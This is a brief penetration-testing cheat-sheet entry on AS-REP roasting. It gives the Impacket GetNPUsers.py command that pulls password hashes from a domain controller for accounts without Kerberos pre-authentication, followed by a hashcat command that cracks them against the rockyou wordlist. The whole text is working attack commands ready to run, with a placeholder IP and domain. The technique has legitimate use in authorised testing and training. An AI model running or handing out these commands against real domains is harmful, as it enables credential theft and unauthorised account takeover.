Pre-Authentication

GetNPUsers.py

#When pre-auth is not enabled, account and password hash are returned

#Impacket

cd Impacket/examples

#pre-auth to extract password hash if its not

GetNPUsers.py -dc-ip 10.0.0.1 fqdn.loc/ -usersfile users.txt -format hashcat -outputfile hash.txt

#Hashcat extract password

hashcat -m 18200 --force -a 0 hash.txt rockyou.txt